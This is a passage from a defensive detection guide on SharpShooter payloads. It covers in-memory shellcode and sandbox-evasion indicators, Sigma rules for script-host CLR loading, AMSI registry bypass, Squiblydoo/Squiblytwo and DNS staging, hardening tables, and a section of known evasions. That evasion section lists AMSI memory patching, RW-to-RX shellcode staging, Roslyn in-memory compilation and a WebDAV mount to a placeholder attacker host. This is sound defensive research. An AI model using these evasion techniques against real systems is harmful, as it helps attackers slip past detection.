  • ASR Rule: GUID 3b576869-a4ec-4529-8536-b80a7769e899 — Block Office applications from creating executable content

11. Detection Chain 7: In-Memory Shellcode Execution

11.1 Technique

MITRE: T1055 (Process Injection) / T1106 (Native API)

Both staged and stageless SharpShooter payloads ultimately execute shellcode using the same pattern:

  1. VirtualAlloc with EXECUTE_READWRITE (0x40) protection
  2. Marshal.Copy to write shellcode bytes
  3. GetDelegateForFunctionPointer to create a callable delegate
  4. Delegate invocation to execute shellcode

11.2 Detection Opportunities

ETW / API monitoring:

RWX memory allocation (PAGE_EXECUTE_READWRITE = 0x40) by a script host process or its CLR-hosted child assembly is highly suspicious. EDR products that hook NtAllocateVirtualMemory or monitor memory protection changes can flag this.

Call stack analysis:

The call stack at the VirtualAlloc call will traverse:

ntdll!NtAllocateVirtualMemory
kernel32!VirtualAlloc
[CLR JIT code]  ← SharpShooter.Shoot()
clr!CallDescrWorkerInternal
mscorlib!System.Reflection.RuntimeMethodInfo.Invoke

A VirtualAlloc with RWX protection called from CLR JIT code inside a script host process is a near-certain indicator of shellcode execution.

Memory scanning:

After allocation, the memory region will contain raw shellcode. Periodic memory scanning by EDR products can identify known shellcode patterns (e.g., Cobalt Strike, Metasploit stagers) in RWX regions of script host processes.


12. Detection Chain 8: Sandbox Evasion (CheckPlease)

12.1 Technique

MITRE: T1497.001 (Virtualization/Sandbox Evasion: System Checks)

The CheckPlease module performs pre-execution checks to abort if the environment appears to be a sandbox or analysis system.

12.2 Detection (Reversed)

While these checks help the attacker avoid sandboxes, they also produce detectable behavior:

File existence checks (Sysmon EID 11 or ETW File I/O): The payload queries File.Exists() for 32 VMware/VirtualBox driver paths. A burst of 32 file existence checks against C:\windows\Sysnative\Drivers\ is anomalous, especially from a script host process.

Network interface enumeration: NetworkInterface.GetAllNetworkInterfaces() followed by GetPhysicalAddress() — while normal for networking tools, this is unusual from wscript.exe/cscript.exe.

Domain name query: IPGlobalProperties.GetIPGlobalProperties().DomainName — again, unusual from a script host.

12.3 Sandbox Hardening (For Analysts)

To prevent CheckPlease from evading your sandbox:

  • Ensure sandbox VMs have realistic MAC addresses (not default VMware/VirtualBox OUIs)
  • Join sandbox VMs to a fake domain
  • Remove or rename VMware/VirtualBox tools drivers
  • Use hardware-passthrough or bare-metal analysis systems for high-priority samples

13. Sigma Rules

Sigma Rule 1: DotNetToJScript — CLR Loading in Script Host

title: DotNetToJScript - .NET CLR Loaded by Windows Script Host
id: 7a9c2b3d-1f4e-4b8c-9d5a-6e7f8c3b2a1d
status: stable
description: |
    Detects Windows Script Host processes (wscript.exe, cscript.exe, mshta.exe)
    loading .NET CLR DLLs, which indicates DotNetToJScript execution used by
    SharpShooter, CACTUSTORCH, and similar frameworks.
references:

    - https://github.com/FalconForceTeam/FalconFriday/blob/main/0xFF-0544-Script_Interpreter_Loading_DotNet_Assembly_From_Memory-Win.md
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.execution
    - attack.t1059.007
    - attack.t1059.005
    - attack.defense_evasion
    - attack.t1620
logsource:
    category: image_load
    product: windows
detection:
    selection_process:
        Image|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
    selection_dll:
        ImageLoaded|endswith:
            - '\clr.dll'
            - '\mscoree.dll'
            - '\clrjit.dll'
            - '\mscorlib.dll'
            - '\mscorlib.ni.dll'
    condition: selection_process and selection_dll
falsepositives:
    - Legitimate .NET-based administrative scripts executed via WSH (rare)
    - Some Group Policy scripts that use .NET COM interop
level: high

Sigma Rule 2: AMSI Bypass via AmsiEnable Registry Modification

title: AMSI Disabled via AmsiEnable Registry Key - SharpShooter Pattern
id: 8b4d5e6f-2a1c-4d9e-bf3c-7a8e9d1f5b2c
status: stable
description: |
    Detects modification of the AmsiEnable registry value to 0, which disables
    AMSI scanning for Windows Script Host. SharpShooter's amsikiller module
    performs this write and then restores the original value after execution.
references:
    - https://www.elastic.co/guide/en/security/current/modification-of-amsienable-registry-key.html
    - https://detection.fyi/sigmahq/sigma/windows/registry/registry_set/registry_set_amsi_disable/
    - https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.defense_evasion
    - attack.t1562.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Software\Microsoft\Windows Script\Settings\AmsiEnable'
        Details: 'DWORD (0x00000000)'
    filter_gpo:
        Image|endswith: '\svchost.exe'
    condition: selection and not filter_gpo
falsepositives:
    - IT administrators troubleshooting AMSI-related issues
    - Symantec/Broadcom AMSIEnabled key (different path — verify TargetObject)
level: critical

Sigma Rule 3: Squiblydoo — Regsvr32 / Rundll32 with scrobj.dll

v2 CHANGES: Previous version matched only on Image|endswith: '\regsvr32.exe' and CommandLine contains ['scrobj', '/i:']. This left three evasion paths open: (1) renamed regsvr32 (copy regsvr32.exe svchost.exe), (2) rundll32.exe scrobj.dll,CheckVersionCompatibility as alternate LOLBin, (3) UNC path instead of HTTP/HTTPS. All three are now covered.

title: Squiblydoo - COM Scriptlet Execution via Regsvr32/Rundll32
id: 9c5e6f7a-3b2d-4e8f-8a4d-8b9f0e2a6c3d
status: stable
description: |
    Detects loading of a COM scriptlet via scrobj.dll from regsvr32, rundll32,
    or renamed variants of either. Covers HTTP(S) remote scriptlets, UNC paths,
    and renamed-LOLBin evasion via OriginalFileName matching.
references:
    - https://car.mitre.org/analytics/CAR-2019-04-003/
    - https://attack.mitre.org/techniques/T1218/010/
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.defense_evasion
    - attack.t1218.010
    - attack.t1218.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_image:
        Image|endswith:
            - '\regsvr32.exe'
            - '\rundll32.exe'
    selection_originalfilename:
        OriginalFileName:
            - 'REGSVR32.EXE'
            - 'RUNDLL32.EXE'
    scrobj_regsvr32:
        CommandLine|contains:
            - 'scrobj'
        CommandLine|contains|all:
            - '/i:'
    scrobj_rundll32:
        CommandLine|contains|all:
            - 'scrobj'
            - 'CheckVersionCompatibility'
    remote_payload:
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'ftp://'
            - '\\\\'
            - '/scheme://'
    condition: (selection_image or selection_originalfilename)
               and (scrobj_regsvr32 or scrobj_rundll32)
               and remote_payload
falsepositives:
    - Legitimate COM scriptlet registration (extremely rare in enterprise)
level: critical

Sigma Rule 4: Squiblytwo — WMIC XSL Script Execution

title: Squiblytwo - WMIC XSL Remote Script Execution
id: ad6e7f8b-4c3d-4f9a-9b5e-9c0a1f3b7d4e
status: stable
description: |
    Detects wmic.exe with /format: switch pointing to a remote URL or UNC path,
    indicating XSL stylesheet execution (Squiblytwo) used by SharpShooter's AWL bypass.
references:
    - https://attack.mitre.org/techniques/T1220/
    - https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_wmic_xsl_script_processing
    - https://research.splunk.com/endpoint/787e9dd0-4328-11ec-a029-acde48001122/
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.defense_evasion
    - attack.t1220
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\WMIC.exe'
        CommandLine|contains: '/format:'
    selection_remote:
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - '\\\\'
    condition: selection and selection_remote
falsepositives:
    - Legitimate use of WMIC with custom XSL formatting (very rare)
level: high

Sigma Rule 5: DNS Staging via Script Host Spawning nslookup

title: DNS Staging - Script Host Spawning Nslookup TXT Queries
id: be7f8a9c-5d4e-4a0b-ac6f-0d1b2e4c8a5f
status: stable
description: |
    Detects nslookup.exe spawned by a Windows Script Host process with
    TXT record query type, indicating DNS-based payload staging as used
    by SharpShooter's DNS delivery mode.
references:
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.command_and_control
    - attack.t1071.004
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
    selection_child:
        Image|endswith: '\nslookup.exe'
        CommandLine|contains: '-type=TXT'
    condition: selection_parent and selection_child
falsepositives:
    - Administrative scripts that perform DNS lookups (can be baselined per environment)
level: high

Sigma Rule 6: In-Memory C# Compilation from Script Host

title: Runtime C# Compilation from Script Host Process
id: cf8a9b0d-6e5f-4b1c-bd7a-1e2c3f5d9b6a
status: stable
description: |
    Detects csc.exe (C# compiler) spawned by a script host process,
    indicating in-memory compilation of staged payloads. SharpShooter's
    staged delivery compiles downloaded C# source using CSharpCodeProvider.
references:
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.execution
    - attack.t1027.004
    - attack.defense_evasion
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\csc.exe'
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
    condition: selection
falsepositives:
    - Legitimate .NET script compilation via WSH (very rare)
level: critical

Sigma Rule 7: Script Host Outbound Network Connection

title: Windows Script Host Outbound Network Connection
id: da9b0c1e-7f6a-4c2d-ae8b-2f3d4a6e0c7b
status: test
description: |
    Detects wscript.exe or cscript.exe making outbound network connections,
    which may indicate staged payload retrieval (SharpShooter web staging)
    or C2 communication.
author: Siddhant Mishra (Bloo SpecterForce)
date: 2026-10-22
tags:
    - attack.command_and_control
    - attack.t1105
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
        Initiated: 'true'
    filter_internal:
        DestinationIp|startswith:
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
            - '127.'
    condition: selection and not filter_internal
falsepositives:
    - Legitimate login scripts that access external resources
    - Software update scripts using WSH
level: medium

14. Composite Behavioral Detection Chains

Individual indicators have varying false positive rates. Combining them into multi-stage behavioral chains significantly increases detection confidence.

Chain A: Full SharpShooter Staged Execution

Stage 1: Script host spawns (EID 1)
  wscript.exe / cscript.exe / mshta.exe launches
  └─ with command line containing .js / .vbs / .hta / .wsf file

Stage 2: CLR loading (EID 7)                          [< 5 seconds]
  Same process loads clr.dll + mscoree.dll + clrjit.dll
  └─ CONFIRMS: DotNetToJScript deserialization

Stage 3: AMSI bypass (EID 13)                         [< 2 seconds]
  AmsiEnable set to 0
  └─ Script host re-launches itself (EID 1: parent = wscript → child = wscript)

Stage 4: Network callback (EID 3 or EID 1+22)         [< 30 seconds]
  Option A: HTTP outbound from script host (EID 3)
  Option B: nslookup -type=TXT spawned by script host (EID 1 + 22)

Stage 5: In-memory compilation (EID 1)                 [< 10 seconds]
  csc.exe spawned by script host with /unsafe flag
  └─ Temp .cs file created in %LOCALAPPDATA%\Temp (EID 11)

Stage 6: Post-exploitation
  Shellcode execution via VirtualAlloc → delegate invocation
  └─ May spawn additional processes or inject into others

Confidence: Stages 1+2 alone = HIGH. Add any of 3-5 = CRITICAL.

Chain B: HTML Smuggling → Script Execution

Stage 1: Browser writes file (EID 11)
  chrome.exe / msedge.exe creates file in Downloads folder
  └─ File extension: .js / .vbs / .hta / .wsf

Stage 2: User executes dropped file (EID 1)            [< 10 minutes]
  wscript.exe / cscript.exe / mshta.exe launches
  └─ CommandLine references file in Downloads folder

Stage 3: CLR loading (EID 7)                            [< 5 seconds]
  CLR DLLs loaded by script host

Stage 4: Payload execution (Chain A continues)

Chain C: SLK Macro Shellcode

Stage 1: Excel opens SLK file (EID 1)
  EXCEL.EXE launches
  └─ CommandLine contains .slk file

Stage 2: Excel spawns child process (EID 1)             [< 60 seconds]
  ParentImage: EXCEL.EXE
  └─ Image: cmd.exe / powershell.exe / rundll32.exe / unexpected binary
  └─ CONFIRMS: Macro executed code outside Excel

Alternative Stage 2: No child process
  └─ Shellcode runs in-process via CreateThread
  └─ Detection requires memory scanning or API hooking

Chain D: Squiblydoo/Squiblytwo AWL Bypass

Stage 1: Script host spawns (EID 1)
  wscript.exe / cscript.exe executes payload

Stage 2: LOLBin execution (EID 1)                      [< 5 seconds]
  Option A: regsvr32.exe with /i:[url] scrobj.dll (Squiblydoo)
  Option B: wmic.exe with /format:[url] (Squiblytwo)

Stage 3: Second-stage CLR loading (EID 7)
  regsvr32.exe or wmic.exe loads clr.dll
  └─ DotNetToJScript re-enters via XSL/SCT payload

Stage 4: Payload execution continues

15. Threat Actor Usage

SharpShooter and its derived techniques have been observed in campaigns by multiple threat actors.

Actor / CampaignTimeframeTechnique UsedPayload DeliveredReference
Unknown (Morphisec report)2018SharpShooter framework (JS payloads, staged delivery)Multiple RATsMorphisec Blog
Lazarus Group2018-2020DotNetToJScript + HTA + VBS macros (Operation Dream Job / AppleJeus)Custom backdoorsMITRE T1220 references
Cobalt Group2018-2019XSL Script Processing (Squiblytwo variant)Cobalt StrikeMITRE T1220 references
Higaisa2019-2020XSL stylesheet execution via wmic.exeCustom malwareMITRE T1220 references
Astaroth2019-2020XSL/WMIC execution chainAstaroth infostealerMITRE T1220 references
FIN72019-2021Script host DLL loading patterns, COM-based executionVarious payloadsSplunk analytics
DotNetToJScript (general)2018-presentBinaryFormatter deserialization in WSHVariousMultiple red team tools (CACTUSTORCH, StarFighters)
HTML Smuggling campaigns2021-presentDemiguise-style smuggling (Nobelium, QakBot, IcedID, Pikabot)Diverse loadersMITRE T1027.006

Note: Direct attribution to SharpShooter specifically (vs. derived techniques) is limited. The tool's source code is publicly available, and many actors have adopted its individual techniques without using the full framework.


16. Hardening & Mitigation

16.1 Windows Script Host Controls

ControlImplementationImpact
Disable WSHRegistry: HKLM\Software\Microsoft\Windows Script Host\Settings\Enabled = 0Blocks all JS/VBS/WSF execution via wscript/cscript
Block specific extensionsGroup Policy: Software Restriction Policies for .js, .jse, .vbs, .vbe, .wsfPrevents double-click execution while allowing admin use
File association remapRe-associate .js/.vbs to Notepad instead of WSHUsers open scripts in editor instead of executing

16.2 Attack Surface Reduction (ASR) Rules

GUIDRule NameSharpShooter Relevance
d4f940ab-401b-4efc-aadc-ad5f3c50688aBlock Office applications from creating child processesPrevents macro → wscript chain
b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4Block untrusted/unsigned processes from USBBlocks execution from removable media
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7BBlock Win32 API calls from Office macrosBlocks VirtualAlloc/CreateThread from XLM
3b576869-a4ec-4529-8536-b80a7769e899Block Office applications from creating executable contentPrevents dropped payload files
be9ba2d9-53ea-4cdc-84e5-9b1eeee46550Block executable content from email client and webmailBlocks smuggled file execution

16.3 Application Control

ControlImplementation
WDAC/AppLockerBlock regsvr32.exe from loading scrobj.dll; restrict wmic.exe execution to admin accounts
COM object restrictionsUse DCOM Configuration (dcomcnfg) to restrict ShellBrowserWindow and other abused COM objects
AMSI enforcementMonitor for AmsiEnable modifications; alert on any registry writes to this path

16.4 Email/Web Gateway

ControlSharpShooter Relevance
Block HTML attachments with large embedded JavaScriptCatches Demiguise smuggling
Block .slk file attachmentsEliminates Excel 4.0 macro vector
Block .js/.vbs/.hta/.wsf attachmentsPrevents direct script delivery
Block .sct (COM scriptlet) filesPrevents Squiblydoo payload hosting
Scan HTML for Blob/createObjectURL patternsDetects smuggling technique
DNS monitoring for high-volume TXT queriesCatches DNS staging

16.5 .NET Framework Hardening

ControlImplementation
Force CLR v4Remove .NET Framework v2/v3.5 if not required — eliminates DotNetToJScript's preferred AMSI-free runtime
BinaryFormatter restrictions.NET 5+ disables BinaryFormatter by default; for Framework apps, set SerializationGuard
Assembly load monitoringEnable .NET Runtime ETW provider for assembly load auditing

17. Known Evasions and Coverage Gaps

Honest accounting of what the rules in this guide do not catch. This section exists so SOC leads can plan compensating controls and validate claims against red team exercises.

17.1 Mid-Tier and Nation-State Evasions by Chain

ChainEvasion
Chain 1 (DotNetToJScript CLR load)CLR 4.0+ with UseLegacyV2RuntimeActivationPolicy=false bypasses the AMSI-free v2 angle; CACTUSTORCH uses direct syscalls via DynamicInvoke of unmanaged exports and never loads mscoree.dll; System.Reflection.Emit runtime assembly construction leaves no Assembly.Load call.
Chain 2 (AMSI registry bypass)Modern operators use memory-patch bypass (AmsiScanBuffer prologue patch), hardware breakpoints, or amsiInitFailed reflection — zero registry artifact. See §6.4.
Chain 3 (Squiblydoo/Squiblytwo)WDAC-trusted LOLBins only: mshta.exe with embedded VBScript, cmstp.exe with INF, or installutil.exe with CustomActions avoid both regsvr32 and wmic.
Chain 4 (HTML Smuggling)SVG smuggling (Nobelium 2023+): payload in <script> inside SVG, no HTML involvement. Service Worker smuggling: Blob written from registered SW context, parent process attribution to browser lost. Office HTML content type manipulation via docx/pptx XML.
Chain 5 (DNS Staging)Real operators do not call nslookup.exe. P/Invoke DnsQuery_A from the WSH process; DoH via WinHTTP to cloudflare-dns.com/dns-query — appears as HTTPS, bypasses DNS inspection entirely.
Chain 6 (SLK/XLM)Formula-level obfuscation of REGISTER strings (=CHAR(86)&CHAR(105)... building "VirtualAlloc"); sheet cross-reference indirection; Application.Run via hidden add-in.
Chain 7 (Shellcode)Operators now avoid VirtualAlloc(RWX) entirely — allocate RW, write shellcode, VirtualProtect to RX, execute. The RWX signal in your Chain 7 is dated. Also: delegate dispatch via CallWindowProc, APC injection via NtQueueApcThread.
Chain 8 (CheckPlease)Sandbox evasion today reads: parent process is explorer.exe (not cmd.exe), user interaction count via GetLastInputInfo, recent document count via Registry, CPU core count ≥ 4. CheckPlease's 2018 artifacts list is outdated.

17.2 Rule-Specific Evasions

Sigma RuleEvasion
Rule 1 (CLR DLL in script host)CLR hosted via mshta.exe + ActiveXObject in HTA sometimes bypasses the strict Image endswith list; unmanaged bootstrap via COMSVCS.dll loads CLR via COM activation without direct mscoree.dll import.
Rule 2 (AmsiEnable registry)Any of the modern bypasses in §6.4 leaves this rule silent.
Rule 3 (Squiblydoo)v2 of this rule now covers rundll32+scrobj and UNC — residual evasion: odbcconf.exe /A {REGSVR ...} loads scrobj indirectly without triggering the CommandLine filter.
Rule 4 (Squiblytwo WMIC)WMIC deprecation in Win11 24H2+ is pushing operators to PowerShell Format-List XSL abuse (`$x = [xml](Get-WmiObject ...); $x
Rule 5 (nslookup TXT by script host)Caught only when attacker uses literal nslookup.exe; see Chain 5 evasion.
Rule 6 (csc.exe from script host)Attacker uses in-memory Roslyn API (Microsoft.CodeAnalysis.CSharp.CSharpCompilation) — compiles without spawning csc.exe at all. Modern replacement for CSharpCodeProvider.
Rule 7 (script host outbound net)WebDAV mount via net use \\attacker.com\dav then file access via UNC path appears as svchost.exe (webdav client service) network traffic — not the script host.

17.3 Pre-Chain Attacks Not Addressed

  • EDR/Sysmon tampering before SharpShooter payload arrives: BYOVD, service stop via SeDebugPrivilege, ETW provider patching via EtwpSetProviderTraits corruption
  • Code signing certificate theft → signed .NET assembly delivery bypasses most of this guide's unsigned-binary assumptions
  • Pre-staged WDAC exceptions — if attacker achieved any prior code execution, they may have poisoned WDAC policy supplemental deny lists

17.4 Compensating Controls for Residual Risk

Residual RiskControl
Modern AMSI bypass (memory patch)Microsoft-Windows-Threat-Intelligence ETW (requires PPL EDR): detects direct syscall abuse, PE memory anomalies, memory patch of AMSI functions
Direct syscall DnsQuery_A DoHDNS inspection firewall at egress; block well-known DoH endpoints (cloudflare-dns.com, dns.google, dns.quad9.net) at the perimeter unless business-justified
In-memory Roslyn compilationCLR Loader Lock ETW (Microsoft-Windows-DotNETRuntime provider, keyword 0x1): AssemblyLoader_Start events reveal in-memory assembly loading even without disk artifact
RWX avoidance via VirtualProtectETW Microsoft-Windows-Kernel-Memory provider: alert on RW → RX transitions in script host or Office process memory
Signed payload bypassDeploy WDAC in "Trust Publisher + Specific CatalogSigner" mode, not just "Trust Microsoft"; maintain Microsoft Driver Block Rules + VulnerableDriverBlocklist

17.5 Red Team Validation Mapping

Validate detections using Atomic Red Team tests before claiming coverage:

RuleAtomic Red Team Test
Rule 1 (CLR load)T1620 "Reflective Code Loading" test #1-#3
Rule 2 (AMSI reg)T1562.001 test #11 ("AMSI Bypass - AMSI InitFailed")
Rule 3 (Squiblydoo)T1218.010 test #1, #4
Rule 4 (Squiblytwo)T1220 test #4 ("WMIC bypass using local xsl file")
Rule 5 (DNS staging)T1071.004 test #1-#3 (adapt for script-host parent)
Rule 6 (csc.exe)T1027.004 test #1, #2

Baseline each test in Audit mode first; measure true positive rate and false positive volume before Block-mode deployment.


18. References

MITRE ATT&CK

Detection Engineering

AMSI Bypass Research

Red Team & Technique References


Detection rules in this guide are provided for defensive security research and authorized testing. Validate all rules against your environment's baseline before deploying to production.

We use cookies to provide essential site functionality and, with your consent, to analyze site usage and enhance your experience. View our Privacy Policy